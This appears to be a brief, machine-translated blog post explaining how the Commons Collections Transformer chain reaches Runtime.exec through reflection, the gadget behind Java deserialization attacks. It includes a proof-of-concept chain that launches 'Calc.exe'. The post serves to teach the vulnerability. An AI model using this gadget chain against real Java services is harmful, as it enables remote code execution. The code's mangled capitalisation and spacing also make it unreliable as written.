Java deserialization-How the transformer class can execute malicious code

Java deserialization-The transformer class can execute malicious code in the principle of 0x00 code

  transformer[] transformers = new transformer[]{new Constanttransformer (Runtime.class), New Invokertransformer ("GetMethod", New class[]{string.class,class[].class},new object[]{"GetRuntime", New Clas S[0]}), New Invokertransformer ("Invoke", new Class[]{object.class,object[].class},new Object[]{null, new          Object[0]}), New Invokertransformer ("Exec", New Class[]{string.class}, new object[]{"Calc.exe",}),          };          Transformer Transformerchain = new Chainedtransformer (Transformers);          Bytearrayoutputstream out = new Bytearrayoutputstream ();        ObjectOutputStream objout;            try {objout = new ObjectOutputStream (out);            Objout.writeobject (Transformerchain);        Transformerchain.transform (NULL);        } catch (IOException e) {//TODO auto-generated catch block E.printstacktrace (); }

Execution Result:

0X01 Transformer class Why can I execute malicious code?

Transformerchain.transform (NULL); Performed: The transform method of the Chainedtransformer class

    public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {            object = iTransformers[i].transform(object);        }        return object;    }

Object = Itransformers[i].transform (object); Executes the transform method of the Invokertransformer class

  public Object Transform (object input) {if (input = = null) {return null;            } try {Class cls = Input.getclass ();            method = Cls.getmethod (Imethodname, iparamtypes);        return Method.invoke (input, Iargs); } catch (Nosuchmethodexception ex) {throw new Functorexception ("Invokertransformer:the method '" + Imethodnam        E + "' on '" + input.getclass () + "' does not exist"); } catch (Illegalaccessexception ex) {throw new Functorexception ("Invokertransformer:the method '" + Imethodna        Me + "' on '" + input.getclass () + "' cannot be accessed"); } catch (InvocationTargetException ex) {throw new Functorexception ("Invokertransformer:the method '" + Imetho        Dname + "' on '" + input.getclass () + "' threw an exception", ex); }}  

By invoking Runtime.class's GetMethod method through the reflection mechanism, the Invoke method is called to generate a runtime object and finally executes the Exec method of the object, resulting in a deserialization vulnerability.
can refer to:
Http://blog.51cto.com/13770310/2159962 's 0x03 Supplement

Java deserialization-How the transformer class can execute malicious code